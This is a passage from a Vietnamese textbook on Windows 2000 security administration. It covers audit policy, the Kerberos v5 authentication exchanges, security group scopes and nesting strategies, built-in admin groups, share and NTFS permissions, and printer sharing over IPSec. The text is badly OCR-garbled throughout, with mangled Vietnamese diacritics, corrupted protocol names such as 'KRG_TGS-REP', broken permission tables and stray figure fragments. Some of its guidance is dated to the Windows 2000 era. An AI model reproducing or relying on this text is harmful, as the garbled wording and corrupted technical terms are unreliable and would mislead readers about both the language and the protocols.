* Audit Object Access: ghi nhdn viéc user truy cép tap tin, thu muc hodc
may in (cac d0i tugng nay phai duge chi dinh cho audit).

e Audit Policy Change: ghi lai viéc thay ddi cac policy trong Group Policy.

e Audit Privilege Use: ghi nhén mdi khi user thuc hién mdt quyén nao dé
trén hé thong.

e Audit Process Tracking: ghi nhén ’mc:)i khi mét ‘mg dung thyc hién mot
hanh d¢ng. Chirc nang ndy dung dé xac dinh ing dung da truy cip nhing
tap tin va registry key nao khi thyc hién hanh dong.

e Agdit System Events: ghi nhén lai m6i khi may shutdown hoc restart va
moi khi security log dugc reset.

Khi dinh nghia cl'lién lrgc ghi nhit ky hé théng cho domain, nén suy nghi

theo nhimg quy tic sau day:

e Ap dung audit policy ¢ dau: audit policy co thé ap dung cho may cuc bg,
cho miic site, mitc domain, hoic OU. Cén cén nhic dé 4p dung & noi hop
Iy nhim gidp quan ly dé dang va hiéu qua. Thong thuong s& cin mot b

audit policy dé ghi nhit ky cho cic domain controller, vi vy nén thiét lap
b policy nay cho hop ly va dp dung 1én Domain Controllers OU.
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e Khong nén ghi tit ca cac loai nhat ky néu khong thit sy cin thlet Lam
nhur vay sé lam cho nhit ky rat 16n va chira nhimg dir liéu khong cén thiét,
gdy khé khian cho vige theo ddi ndi dung nhdt ky cia ngudi quan tri, mdt
khéc ciing 1am cho hé théng chay chdm hon. Nén cén nhic k§ nhitg loai
nhéat ky can ghi theo muc dich cia don vi.

o Xéc dinh loai két qua nhat ky cho phu hop véi yéu cdu bdao mit cia don
vi, khong nén ding diy dii theo quan tinh dé dam bao cho viéc theo ddi
nhit ky dugc d& dang va hiéu qua. CAc loai nhét ky ddu cho phép chi dinh
rang s& ghi nhén nhimg trudng hop thanh céng hay thit bai cua hanh
dong. Tuy theo nhu cdu ma can can nhic 12 nén chon ghi déi véi truong
hop thanh cong, hay that bai, hay ca hai. Vi du: néu server cho phép ngudi
ding truy cép tir bén ngoai mang ndi bo thi ta cin chi dinh cho loai nhat
ky Audit Account Logon Events ghi nhén ca hai truong hop thanh cong va
thit bai. Ta khao sat cac trudng hop thanh cong dé biét dugc 1 c6 ké tﬁn
cong nao da thim nhdp thanh cong hay chyra, khao st cac truong hop thét
bai dé biét dugc nhirng dia chi c6 ac y dang tim cach thim nhép vao
server, tir d6 ¢ cac bién phip chéng tra thich hop. Con néu server chi
dugc sir dung lam server ndi bg, khong cho phép bén ngoai truy cap thi ta
c6 thé chi dinh chi ghl nhan céc trudmg hop that bai dé khao sat viéc ding
nhép cua cac user ndi bd.

3./ Co ché chimg thirc (authentication)

Chimg thuc (authentication) 1a viéc xac dinh xem mét user c6 1a user hop 1€
hay khong. Mot thé hién phd bién cna chimg thuc 1a viéc dang nhdp vao may
tinh. Néu user 12 hop 1é thi sau d6 hé théng s& xem RE tiép cac quyén han caa
user d¢ cho phép user lam viéc trong pham vi quyén han cta minh (qué trinh

nay goi 1a authorization). Nguoc lai néu user khong hop 18 thi sé bi tir chdi truy
cép hé thong.

Hé théng mang Windows 2000 mac dinh dung co ché chimg thuc Kerberos v5.
Pay 4 co ché chimg thyc rét t6t trong thii dxem hién nay. De co thé thiét lap
mdi trudng cho chimg thuc Kerberos hoat déng 6 dn dinh, ta cin hiéu qua co ché
hoat d6ng cua Kerberos.

Hai truong hop phéd bién nhit cua chimg thuc 14 chl’rﬁg thyc khi user 1in déu
tién ding nhip vao may tinh thuéc domain va chimg thirc khi user str dung mot
tal nguyén ciia may tinh khéc trén mang. Ta s& khao sat co ché hoat dong cua
Kerberos trong hai truong hop nay.

Chimg thyc khi user ding nhép lin diu tién:

Khi user de‘mg\ nhdp vao mét may client Windows 2000 thudc domain, client
gri mot yéu cau chitng thuc tdi Kerberos server (la mét domain controller) -
goi la KRB_AS_REQ va sau d6 nhan thdng tin phan h01 tr Kerberos server —
goi 1a KRB_AS_REP. KRB_AS_REQ chira théng tin vé user account va thoi
gian hién hanh trén may client. KRB_AS_REP chira thdng tin vé session key
va mot cdu tric goi 1a TGT (Tlcket—Grantmg Ticket) ding dé yéu céu truy cap
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cac dich vu trong mang. T4t ci cic thong tin trong KRB_AS_REQ va
KRB_AS_REP dugc md héa sir dung khéa dic trung cia user dugc tao ra tir
mit khiu cua user. Chi tiét cac burée duoc giai thich qua hinh duéi day:

1GT
KRB_AS_REP

KRB_AS_REQ

Key Distribution
Center (KDC)

1. User nhép thoéng tin Yé account (user name, passWord, domain) trong
hop thoai ding nhip dé ding nhap vao domain.

2. Client truy van dia chi ciia Kerberos server (KDC) tir DNS.

Sau khi d3 c6 dia chi ciia Kerberos server, client gtri KRB_AS_REQ dén
Kerberos server.

4. Kerberos server thuc hién chimg thuc user, néu user 13 hop 1€ thi s& sinh
ra TGT cho user va Iuu vaio KRB _AS REP. Cudi clng gui goi
KRB_AS REP lai cho client.

Sau khi nhén duge TGT tir goi KRG_AS_REP, client dung thong tin ndy dé
yéu cdu Kerberos server cho biét cic service dugc phép truy cdp cua user trén
may client — goi 13 KRG_TGS_REQ, server giri vé thong tin phan héi cho
client — goi la KRG_TGS-REP - trong do céc service dugc phép truy cap dugc
luu trong mot cu tric goi la service ticket. Chi tiét cdc buée minh hoa trong
hinh dudi day: :
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KRB_TGS_REP

TGT

KRB_TGS_REQ

Key Distribution
Center (KDC)

1. Client giri géi KRB_TGS REQ dén server. KRB_TGS_REQ chira
thong tin vé TGT va thong tin chitng thue.
2. Server kiém tra TGT va thong tin chimng thuc trong KRB_TGS_REQ,

néu hop 18 server s& tao ra service ticket va giri tra vé client théng qua
goéi tin KRB_TGS_REP.

3. Sau khi nhén dugc KRB_TGS_REP, client s& thuc hién céc cong viéc
cAn thiét dé phuc vu cho viéc truy cép cac dich vu, tai nguyén trén may
theo dung quyén han cho user.

Chirng thire khi user sir dung tai nguyén ciia mang:

M3i khi user két ndi vao mot tai nguyén ciia mot may tinh khdc trén mang,
client thuc hién viéc chimg thyc nhu duge minh hoa & hinh dudi:
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STi KRB_AP_REQ

KRB_AP_REP

KRB_TGS_REP

TGT
KRB_TGS_REQ

Key Distribution
Center (KDC)

1. Client giri géi KRB_TGS_REQ dén server yéu ciu cho biét cac dich vy
duge phép trén may dich. KRB _TGS_REQ chua thong tin vé TGT va
thong tin ching thue.

2. Server kiém tra TGT va thong tin chimg thuc trong KRB_TGS_REQ,
néu hop 18 server s& tao ra service ticket va giri tra vé client théng qua
gbéi tin KRB_TGS_REP. Trong truomg hop nay thong tin trong
KRB_TGS_REP dugc ma héa sir dung khéa quy ude gilta Kerberos
server vi may ma user mudn truy cip dich vu.

3. Client gui thong tin vé service ticket va thong tin ching thuc dén may
mudn truy cap thong qua géi KRB_AP REQ.

4. Sau khi kiém tra sw hop 1& cua gbi KRB AP REQ nhén dugc tir client,
server ma client mudn truy cdp tai nguyén s& giri thong tin vé server sé
ding dé chimg thuc cic phién giao dich giira client va server chira tai
nguyén théng qua géi KRG_AP REP. Tu d6 tr¢ di, server chira tai
nguyén va client s& théng qua server chiing thuc dé chimg thuc céc
phién giao dich gilta 2 may.

Nhimg quy tic sau cin dwgc hru y dé thiét lip mdi truomg hoat dong on
dinh cho co ché chirng thyc Kerberos:
e Cac Kerberos service dirge cai dit trén cac domain controller, vi vy mbi

site trong Activer Directory nén cé it nhit mét domain controller dé bao
dam tinh sin cé cua dich vu chimg thue.
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e Phii bio dam DNS ludn sin c6 dé phan giai dia chi cia cic domain
controller phuc vu cho yéu cdu chirng thyc tir client.

¢ Hién nay chi c6 Windows 2000 va cic hé thong Unix hd trg co ché chimg
thuc Kerberos. Windows 95/98/NT khong hd trg Kerberos. Nhimg client
Windows 95/98/NT cé thé ding co ché chimg thuc NTLMv2 khi tham
gia vao mang Windows 2000, khéng nén dung NTLM théng thudng vi co
ché nay da bj 16 diém yeu d& hacker c6 thé giai mé thdng tin account dé
dang. D¢ sir dung NTLMv2 trén Windows 95/98 cn cai Directory Service
Client, trén Windows NT cin cai service pack 4.

e Thiét 13p Kerberos policy (thuéc domain security policy) dé ngian chin
viéc yéu cau chirng thuc d6i vdi céc account da bi disabled.

4./ Chién hroc thiét ké nhém bao mat

Windows 2000 cho phép ngudi quan tri tao ra cic nhém bao mat (security
group hay thudng goi ngan gon i group) va gan cac quyén han cho cic nhém
nay. Cée thanh vién duogc dwa vao mdt nhém bao mit s& c6 ddy du quyén han
da dwoc cdp cho nhém.

Viée thiét ké va t6 chirc cic nhom bao mét dé dép tmg nhu cdu cia don vj s
anh huéng rit 16n tinh trang bao mét cia don vi cling nhu phan anh dugc ding
cdp cu bao mat ciia don vi ciing nhu phan anh dugc ding cip quan tri cia
ngudi thiét ké.

Trong Windows 2000, m3i nhém bdo mét déu c6 mdt pham vi bao mét twong
ung véi nd. Pham vi bdo mét cia nhom xac dinh noi ma nhom s& duge sir
dung, cic yéu cdu dbi véi thanh vién ciia nhém va néi 1én céng dung cia
nhém. Co 4 loai pham vi nhu sau:

e Domain Local: thanh vién cua nhoém cé pham vi Domain Local c6 thé 1a
cac nhoém thudc domain khac. Véi wu diém ndy, c4c nhém Domain Local
thuong duge dung cho viée gén quyén truy cap dén tai nguyén. Thay vi
phai dinh nghia lai quyen truy cap trén tai nguyén dé cho phép cic group
cua domain khac c6 thé truy cip, ta chi can don gian dua cac group nay
vao danh sdch thinh vién cia nhém d3 dwgc gin quyén. Danh sdch thanh
vién cua nhém Domain Local dugc luu trit va xir ly trén domain cung
domain v&i nhém dugce xét.

e Global: thanh vién clia nhém c¢6 pham vi Global chi ¢6 thé 1a cic user
hodc nhém Global khac thudc cing domain véi nhém dang xét. Vi dic
tinh nay, cic nhém Global thudng dugc dung dé phan anh két ciu td chic
cua nghiép vu,.va sau d6 sé dugc dua vao danh sich thanh vién cda cdc
nhém Domain Local dé dugc thira ké céc quyén truy cip tir nhém do.
Danh sach thanh vién cua nhém Domain Local dugce hru triy va xir ly trén
domain cung domain vét nhém dugce xét.

e Universal: thanh vién cia nhém ¢6 pham vi Universal cling ¢6 thé 1a cac
nhém thudéc domain khdc. Tuy nhién dbi véi nhém Universal danh sach
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thanh vién dugc cing luu trit va xir Iy & ca hai noi: tai cung domain véi
nhom dang xét va tai Global Catalog. Do d6 khi qua trinh chimg thuc truy
cdp cla céc thanh vién nhém Universal s& nhanh hon, nhung khi cé mét
cdp nhat ndo dbi véi danh sach thanh vién ctia nhém Universal thi Global
Catalog cung s& dugc cdp nhit va kéo theo vi€e replication Global Catalog
xay ra. Vi vdy néu cn phai ding dén nhém Universal thi nén gan quyén
cho nhém nay bang cach dua né vao danh sich thanh vién cia nhém
Domain Local, thanh vién cia nhém Universal nén 1a cac nhém Global
thay vi truc ti€p 12 cac user.

e Computer Local: Windows 2000 c6 mot database dung dé lwu trir va xir Iy
cac account riéng cia né dé dung trong trudng hop khéng join vao
domain. Céc account nay thudc nhém Computer Local. Quyén han ciia céc
account Computer Local chi cd tic dung trén may cuc bd, khong thé chia
sé qua mang.

Béng sau ddy chi ra cac yéu cu cu thé déi v6i cdc thanh vién d6i véi nhom

thudc cac pham vi da néu trén:

Pham vi Yéu ciu d6i véi thanh vién
Domain - User cua bat ky domain nao.
Local

-Nhém Global ctia bét ky domain nao.
- Nhém Universal ctia bat ky domain nao.

- Nhém Domain Local clia cing domain.

Global - User cua cing domain.

- Nhom Global cia ciing domain.

Universal - User cua bit ky domain no.
- Nhém Global cia bét ky domain néo.

- Nhom Universal cila bat ky domain nao.

Computer - User ciia bit ky domain nao.
Local

-Nhém Global ciia bit ky domain nio.

Chién hrge té chirc nhé6m bao mit A-G-DL-P vi A-G-U-DL-P:

Theo bang trén ta thay ring moi loai nhém bao mdt déu c6 thé chira truc tiép
cac user 1A thinh vién cta né. Tuy nhién néu ta 4p dung bira bai nhu vy thi s&
dan dén phirc tap va chéng chéo cho viée quan trj va xac dinh phan quyén dung

din cho timg nhém bao mat, dic biét ia khi td chirc duge ngay cang mo rong
thém.

A-G-DL-P la mdt chién luge td chirc nhém bao mét dwogc sir dung phé bién déi
voi cac forest chi ¢6 | domain. Y tudng cia A-G-DL-P nhu sau: cac user duoc
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dua vao danh sich thanh vién cua cic nhém Global, cdc nhém Global ndy dugc
dua vao danh sach thanh vién cia cic nhdm Domain Lopal. Cac quyen han
duge gan cho cac nhém Domain Local ¢ 4p dung cho tat ca cac thanh vién
ciia n6. Chién Iuge ndy lam don gian héa viéc quan ly quyén han bang cach chi
dwra vé mdt diu méi duy nhét 1a'cic nhém Domain Local. Hinh sau minh hoa ¥
tuong ciia chién lrge A-G-DL-P:

Users

Domain Local Group Permissions

i v6i forest ¢6 nhiéu domain, ta sir dung chién lugc A-G-U-DL-P. Y tudng
nhu sau: cling nhu A-G-DL-P, user dugc dua vao ciac nhém Global, sau dé cac
nhém Global thudc cdc domain khéc nhau dugc két hop lai trong nhitng nhém
Universal, cac nhém Universal nay dugc dua vao danh sach thanh vién ciia cic
nhém Domain Local. Cac quyén han dugc gan cho cidc nhém Domain Local dé
ap dung cho tit ca cac thanh vién ctia n6. Hinh sau minh hoa y tuong cia A-G-
U-DL-P:
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Global Group Universal Group - |Domain Local Group

Permissions

Cic quy tic can hru ¥ khi thiét ké nhém bao mit:

e Trudc khi quyét dinh tao méi mot nhém bao mét, cin cin than do lai xem
d tdn tai nhém bio mat hodc mdt két hop nao ciia cic nhém bao mit dap
tmg dugc nhu ciu hay khéng va sir dung luén nhém d6 (néu cé) dé khong
phai tao nhém méi. Theo thai gian, cdc nhom bao mat sé dan din duogc tao
ra, do d6 néu ta chi don gian cin thé nio thi tao nhém méi theo nhu ciu
thi c6 thé s& din dén viéc tring lap gay phirc tap cho hé théng va viéc
quan tri.

e Xac dinh rd muc dich ma nhém bao mit s€ phuc vy, Diéu nay s€ gilp xac
dinh dugc pham vi hgp ly cho nhdém sé tao.

o Xéc dinh chién lugc ding dé t chitc nhém: A-G-DL-P hay A-G-U-DL-P?
Khi dung cdac chién luge nay s€ ¢ thé phat sinh thém cic nhém trung
gian, do d6 can xac dinh ludn cac nhém trung gian.
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o Tuyét d6i tranh clp vuot qua quyén han cin thiét. Diéu nay ngoai viéc
giam nguy co phd phach cda céc user ¢ 4c ¥ con tranh dugc cic tai nan
xdy ra do user vé y str dyng vao quyén han ngoai pham vi cho phép.

e Thiét 1ap hd so uu trir thong tin vé nhém méi dugc tao. Trong d6 cin luu
trir cac thong tin chinh nhu: tén nhém, cic thanh vién ban diu cia nhém,
cic nhém ma nhém thudc vé (néu cd) va muc dich cia nhém. Nhimg
thong tin nay cd thé duoc sir dung dé tranh viéc tao cdc nhém trung lip

nhau.

5./ Chinh sich phén quyén quin tri mang

M4t phén rit quan trong trong viéc bao dam an toan cho hé théng 13 viéc quyét
dinh chon lya va phén quyen cho cac thanh vién lam nhiém vu quan tri. Nhitng
thanh vién nay cé thé thuc hién nhitng tac vu lam anh huong dén s bao mat
cua hé théng cho nén phai rit cin thin khi xem xét cac tiéu chuin chon lira ho
dé dam bao duge mot hé théng on dinh.

Windows 2000 da xay dung s&n mét sé nhém quyen cho cac muc dich quan tri
khac nhau. Hleu dugc muyc dich cia cac nhom quyén nay s€ gop phéan gitip ta
¢6 duoc quyét dinh dung dén hon trong viéc phin quyén quan tri.

Tén Loai Muc dich
Cac thanh vién nhom nay c¢6 pham vi hoat dong
Enterprise Universal trén toan forest. Ho c6 quyén. thay i moi cu
Admins hinh bao maét cua toan forest. Do d6 céac thanh
vién cua nhém ndy nén duge gidm sat lién tuc.
Céc thanh vién nhém ndy cd quyén thay dbi cac
Schema Universal thong tin ve schema cda toan forest (bao gom
Admins théng tin vé& thude tinh ddi tuong va cac 16p dbi
tugng cua forest).
Khi mft may tinh join vao domain, cac thanh
vién ciia nhom nay ciing dugc xem nhu 13 thanh
i vién cia nhom Administrators trén may cuc bd.
Domain . , . . .
Admins Global Ngoai ra, cic thanh ylén cla nhém Domalr}
Admins cua domain goc cua forest con co thé
thay d61 danh sich thanh vién cta nhém
Enterprise Admins va Schema Admins.
Group Policy Céc thanh vién nhém ndy dwgc quyén tao ra céc
Global 5. . i
Creator Owners doi tuong Group Policy méi.
Domai Cac thanh vién nhém nay dugc toan quyen quan
.. omain
Administrators Local 1y domain ma nhém nay thude vé, bao gdm quan:
ly cac service va account cua Active Directory.
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Céc thanh vién nhém nay chi ¢é y nghia déi vén
may tinh khong join viao domain. Ho cé quycn

p U Local quan ly user va group trong co s& dir liu SAM
ower Lsers Group cua mdy cyc by. Ngoai ra ho ciing c6 thé cai dat
héu hét cac tng dung, quan ly may in cuc bd va
viéc chia sé tdp tin.
Thanh vién nhém ndy c6 thé quan ly cic account
cua user, group va computer trong bat ky mét
container ndo trong domain ma nhém nay thuge
vé, ngoai trir Builtin container va Domain
Account Domain | controllers OU.
Operators Local Ngoai ra, thanh vién cia nhom nay ciing khong
' ¢6 quyén trén céc nhdm Administrators va
Domain Admins. Trong domain goc cua forest,
cdc thanh vién cudng khong c6 quyén trén nhoém
Enterprise Admins va Schema Admins.
Thanh vién ciia nhém nay dugc quyén ding nhép
Server Domain | cuc b tai cac server, quan ly viéc chia s€ céc tai
Operators Local nguyén, khai dong va tit cic service, sao luu va
phuc hdi dir liéu, format dia cing, tat may tinh.
Print Operators Domain Thanh vién _nhom nay c6 quyén quan ly mdy in
Local va hang doi in.
Thanh vién nhém nay dugc quyén sao hru va
phuc héi moi tép tin trén may tinh ma khong cén
Backup 1 hi h i
Operators Loca phai cé quyen an nao trén tap tin ma no thuc
hién. Ngoai ra ho ciing c6 thé ding nhap cyc bd
va may tinh va tit may.
: Str dung cho Windows NT domain, thudng duoc
. Domain \ g ) . . =
Replicators st dung bdi service File Replication trén céc
Local .
domain controller.
Thanh vién nhém nay cé quyén quan ly céc
DHCP Domain | DHCP service trong domain ma nhém thuge ve.
Administrators | Local Nhém ndy dugc tu ddng tao ra khi DHCP service
duogc thict 1dp.
DNS Admins Domain | Thanh vién _nhO{xl ndy ¢6 quyen quan ly cic DNS
Local trong domain ma nhém thudc vé.
Thanh vién nhém nay c6 quydn quan ly cac
) Domain | WINS trong domain ma nhém thudc vé. Nhém
WINS Admins | ;o) niy khéng dugc ty dong tao ra khi thiét lap

WINS nhu nhém DHCP Administrators.
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DNSUpdate
Proxy

Global

Thanh vién nhém ndy c6 quyén tao cic DNS
record ma khdng dtimg chi quyén cua cic record
do6 (co thé xem 13 tao ra record khong ¢6 chi
quyén). Thong thudng thanh vién cia nhém nay
1a cac DHCP server, diéu nay s& dam bao ring
cic client Windows 95/98/NT s& vin gilt dugc
chi quyén cia record sau khi ning cép lén
Windows 2000.

Trong da s6 trudmg hop, nhimg nhém quyén trén 13 du ¢ho cac myc dich phén
quyén quan tri. Tuy nhién néu don vi ¢6 nhimg nhu cdu phan quyén quan tri
dic biét ma tip quyén trén khong dap img, ta c6 thé ty tao ra cac nhém mdi va
gan cho né nhitng quyén thich hop. Vi du: ta c¢in ¢6 2 nhém quyén riéng biét:
mét nhém cho phép thanh vién thuc hién viéc sao luu, mdt nhém cho phép
thye hi¢n vi€c phuc héi. Trong trurdong hop nay khéng thé ap dung cac nhom
quyén d3 ¢ sin (v1 nhém Backup Operators cé ddng théi ca 2 quyen) nén ta sé
phai tao 2 nhdm va gan quyeén trong mg cho timg nhém.

Cic quy tic cin hru y Khi phdn quyén quan tri:

e Xéc dinh can than nhitng d6i tuong s& tr thanh thanh vién cua cac nhom

quén tri. Nén tao ra méu danh sich lwu trit théng tin vé nhimg thanh vién
nay dé phyc vu cho viéc kiém tra dinh ky.

Ra soat ky cang viéc phén b thanh vién vao cic nhém quyén, tuyét dbi
khong dé xay ra tinh trang dwa cac thanh vién vao cdc nhém quyén ¢
quyén han vuot qua quyén han dy dinh cép cho thanh vién. Vidy: néu ta
muén cdp cho thanh vién A quyén quan tri di véi tht ca cac dm tuong
khéng thugc nhém Administrators, thi ta cé thé hodc 1a iy quyén quan tri
cho A vao mot OU ma chi chira cac d6i tugng thong thuong, khéng thuge
nhom Administrators, hodc dua A vao danh sich thanh vién cia nhém
Account Operators. Khong nén dua A vao danh sach thanh vién cia nhém
Administrators hofc Domain Admins, hai nhém ngoai viéc cho phép A
thue hién ding theo chirc nang clia minh, con cung cédp thém nhitng quyen
cao hon cho phép A thyc hién nhiing tic vy vuot qua quyén han, cé thé
giy hiu qui khéng tét cho bao mat hé théng.

Str dung tinh nang Restricted Grourps cua Group Policy dé tao ra nhitng
nhém dugc kiém soat vé bao mit va sit dung cic nhém nay dé phan quyén
cho cac thanh vién quan tri. Tinh nang Restricted Groups cho phép lap ra
cic quy dinh dé rang budc vé viéc thay ddi cac thanh vién cua nhém va
rang budc viéc dira nhém vao/ra danh sach thanh vién ctia nhém khac.

Dit ra nhitng dinh ky dé déu din kiém tra cac thanh vién cia cic nhém
quan trj. Viéc kiém tra c6 the dugc lam béng tay hojc ding mét cong cu
audit tw dong cta nha san xudt thi 3.
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o Cic thanh vién thujc nhém Domain Admins ciia domain gdc cia forest,
nhém Enterprise Admins va Schema Admins can phdi dugc gidm sat lién
tuc dé kip thoi phat hién néu c6 hacker thdm nhép vio cég nhém ndy. Cac
thanh vién thugc nhdm Domain Admins cia domain goc cia forest c6
quyén thay déi danh sach thanh vién cia nhém Enterprise Admins va
Schema Admins, va thanh vién ctia hai nhém ndy lai c¢6 nhitng quyén thay
dbi cac co ché bao mat lam anh hudng tdi toan bd forest.

6./ Chia sé tap tin

Windows 2000 cung c4p hai hé théng phan quyén dé dap ing cac nhu ciu chia
s¢ va bao v¢ tdp tin trén mang, d6 13 hé thong phén quyén chia sé (share
permission) va hé théng phan quyén NTFS (NTFS permission).

Hé théng phan quyén chia sé dugc ding dé bao mét quyén truy cép tir mang
dén tai nguyén tap tin trén server (thao tac vdi hé thdng phan quyén chia sé cla
mét thu muc béng cach R-Click vao thue muc va chon chirc ning Share). Hé
thong phin quyén nay kha linh déng vi n6 gan nhu khong gi¢i han va mét hé
théng tap tin cu the nao. C6 thé 4p dung no cho FAT, FAT32, NTFS, CDFS..
Tuy nhién diém yéu ciia hé théng phan quyén chia sé 1a khéng bao vé duge tap
tin d6i véi user ding nhap cuc bd vio may server.

Céc quyén cia hé thong phan quyén chia sé:

* Full Control: cho phép user tac méi, x6a, sira moi ndi dung cia thr myc
dugc chia sé. Ngoai ra, néu thu myc dugc chia sé thude hé théng tdp tin
NTES, quyén nay con cho phép user chiém chii quyén cua tip tin va thu
muc va thay ddi cic quyén han trén céc tip tin va thu myc.

e Change: cho phép user doc, ghi, tao mdi, thay ¢di moi néi dung cua thur
muc duogc chia sé.

e Read: cho phép user doc, copy, thuc thi cidc ndi dung trong thu myc dugc
chia sé.

Trong khi hé théng phén quyen chia sé khong thé anh huong dén user dang
nhép cuc bd vao server thi hé thong phan quyén NTFS chi phéi user d6i véi ca
hai méi truong: truy cdp qua mang va dang nhap cyc bd vao server. Ngoai viéc
cho phép chi dinh quyéen han d6i véi thy muc, hé thdng phin quyén NTFS con
cho phép chi dinh quyén han ddi véi timg tap tin.

Ngoai ra, hé théng tap tin NTFS con cung cAp thém nhitng co ché sau dé cai
thién hon kha ning bao mét cho tdp tin:

e Encryption: Windows 2000 hd trg ma héa/gidi ma tip tin va thu muc
thong qua EFS (Encrypting File System). EFS cho phép céc tdp tin va thu
muc duge mé hda theo user va chi cé user thyc hién ma héa (hoic cac user
dugc chi dinh quyén han phuc héi EFS) mdi c6 thé giai ma céc ndi dung
d3 dugc ma hoa.
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o Quota: tinh ning nay cua NTFS cho phép khéng ché dung lugng dia dugc
sir dung bdi ngudi dung.

e Permission Inheritance: co ché nay cho phép cac quyén han dugc cip phat
cho thu muc cha s& dugc thira ké béi cic thu muc con va tdp tin chira
trong n6. Pitu nay gitip gidm cong strc ngudi quan tri trong viéc phin
quyén thu muc va tip tin.

Péi vai hé théng phin quyén NTFS, ngudi quan tri c6 thé gan quyen truy cép
d6i vai ca tap tin va thu muc (thyc hién viée nay bing cach R-Click vao tip tin
hay thu muc va chen Properties, sau do6 chon tab Security). P6i véi thu muc,
cac quyén co ban sau ddy cé thé duge gan: Full Control, Modify, Read &
Execute, List Folder Contents, Read va Write. D6i vai tip tin, cic quyén co
ban sau ddy cé thé duge gan: Full Control, Modify, Read & Execute, Read va
Write.

Cic quyén co ban trén 1a s két hop giira cac cic quyén dic bigt dwge md
ta dwoi diy:
¢ Traverse Folder/Execute File: Traverse Folder quy dinh user dugce hay

khéng dugc truy xudt vio ndi dung cia thu muc (browse thu muc).
Execute File quy dinh user dugc hay khéng dugc thuce thi tap tin.

¢ List Folder/Read Data: List Folder quy dinh user dugc hay khéng duge
xem danh sach tép tin va thu muc con cua thu muc. Read Data quy dinh
user dugce hay khong duge xem ndi dung cia tap tin.

e Read Attributes: quy dinh user duge hay khong duge xem céc thude tinh
cua tap tin va thu muc.

o Read Extended Attributes: quy dinh user dugc hay khong dugc xem céc
thudc tinh md réng cha tap tin va thu muc (c6 méot s6 tap tin chuong trinh
hodc thu muc dc biét ¢6 cac thudce tinh mo rongt).

o Create Files/Write Data: Create Files quy dinh user dugc hay khong duge
tao moi tap tin trong thu muc. Write Data quy dinh user dugc hay khong
durgc thay dbi ndi dung cuia tap tin hay viét d& 1&n ndi dung tép tin.

e Create Folders/Append Data: Create Folders quy dinh user dwgc hay
khéng dugc tao mdi thu muc con trong thu myc. Append File quy dinh
user duoc hay khong duge ndi thém dir lidu vio cudi tap tin (chi ndi thém
dir ligu, khong dugc 1am thay ddi dir lidu da c6 trude do).

e Write Attributes: quy dinh user dugc hay khéng dugc thay déi thudc tinh
cua tép tin hay thu muc.

e Write Extended Attribute: quy dinh user dwoc hay khong dugc thay déi
thugc tinh ma& rong cua tap tin hay thu muc.

e Delete Subfolders and Files: quy dinh user dugc hay khéng duge x6a cic
thu muc con hodc tép tin trong thu muc.

¢ Delete: quy dinh user duge hay khéng duge xda thu muc hay tép tin.
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e Read Permission: quy dinh user dugc héy khéng dugc xem cic quyén han
dugc cap phat trén thu muc hoic tp tin.

» Change Permission: quy dinh user dugc hay khéng dugc thay ddi phan
quyén trén thu muc hodc tép tin.
e Take Ownership: dty dinh user dugc hay khong duge chiém chi quyén
cua tip tin hay thu muc.

o Synchronize: quy dinh mét tiéu trinh (thread) dugc hay khong dugc dong
bd vai tiéu trinh khdc. Phan quyén nay chi ap dung cho cic img dung da

X ly.

Bang sau chi ra su két hop giira cic quyén dic biét ¢ cho ra cac

ban thudng dugc ding cho hé thdng tap tin NTFS:

quyén

co

Full
Control

Modify

Read &
Execute

List
Folder
Contents

. Read

Write

Traverse
Folder/Execute
Files

X

X

X

List
Folder/Read
Data

Read Attributes

Read Extended
Attributes

Create
Files/Write Data

Create
Folders/Append
Data

Write Attributes

Write Extended
Attributes

Delete
Subfolders  and
Files

Delete

Read
Permissions

Change
Permissions
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Take Ownership | X

Synchronize X X X X X X

Khi két hop ¢4 2 ché db phan quyén chia sé va phan quyen NTEFS Ién mét thu
muc, thi két qua 1a phan quyén trén thu myc s€ la tip quyén bi gi¢i han nhét.
Vi du: 601 véi thu muc A, ta gan quycn Read cua hé thong phén quyén chia sé
va quyén Full Control ciia hé théngt phan quyen NTFS cho moi user, thi khi
truy cap vao thu muc A qua mang, user chi ¢ thé sir dung duge quyén Read.

Cic quy tic cin lwu ¥ khi thiét 13p phan quyén trén tip tin, thr muc:

* Khong nén cip quyen Full Control trong hé théng phin quyen chia sé cho
cac user khong can thiét. Xac dinh k§ dbi tugng s& duge cip quyén Full
Control.

¢ Nén gan quyen cua hé thong phan quyén chia sé & miic security cao nhét
c6 thé. Pidu nay sé& han ché rii ro khi hé théng phén quyén NTFS thay doi
tao nén s& hd, thi han ché cua hé théng phan quyén chia sé s& bu 14p so hd
nay.

¢ Nén gan quyen cta phan quyen chia sé trén nhom Domam Local ri dua
cac user can thiét vao nhém nay, khéng nén gan truc tiép 1én timg user.

e Sir dung hé théng phin quyén NTFS dé dinh nghia cac quyen han thye sy
dugc truy cap vao tip tin hodc thur myc. Hé théng phan quyén chia sé rét
don gian cho muc dich nay vi vy khong nén sir dung.

e Ludn ludn sir dung hé théng tap tin NTFS d& hwu trir cac thu muc chia sé
ra mang.

7./ Chia sé miy in
Cic quyén han c6 thé dwge gin cho tai nguyén may in:
e Print: quy dinh user dugc hay khong duge giri tai liéu dé in dén may in.
. Manage Documents: quy dinh user dugc hay khéng dugc quén iy hang doi

in, bao gdm viéc thay d6i thir tw trén hang doi, tam dimg hoic x6a mét tac
vu in. Mic dinh quyén han nay duoc gan cho nhém Creator Owner.

* Manage Printers: quy dinh user dugc hay khong dwogc chia sé may in va
thay ddi cic tham sé cAu hinh cia may in.

Ngoai ra, d6i voi nhimg dit liéu mét ma ta mudn bao dam an toan trén duo'ng
truyén t6i may chu in thi c6 thé cai dat giao thirc [PSec & cd hai: may chu in va
may client. Giao thirc ndy s& ma héa va giai ma dir liéu truyén nhan & hai du
va dam bao dir liéu duoc an toan trén dudng truyén. Hinh sau minh hoa viéc dir
liéu dugc bao mat trén dudng truyén biang IPSec:
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Local Printer

Use IPSec to Secure
Network Traffic

ik 3;:?;‘;‘;_:;;%: i womatm

Tham khao bang sau dé hd tro trong viéc quyét dinh céu hinh chia sé méy in:

Muc dich Thyc hién
Gi6i han truy cip dén mdy | Thiét 1ap lai quyén han truy cip trén may in cho
in chi cho mét nhém user cdc nhém tuong img.

Phin quyén quan tri cho | Dua céc user cin thiét vao nhém Print Operators
may in hodc sur dung quyén Manage Printers dé cép cho
nhom can thiét.

Pam bao an toan cho céac dir | Thiét 1ap IPSec cho client va may chi in.
1iéu in nhay cam

Pat may in & khu vuc an ninh cua don vi.

8./ Group policy

Group Policy cho phép ngudi quan trj quan ly tap trung viéc thiét 1p céu hinh
cua user va computer thong qua Active Directory.

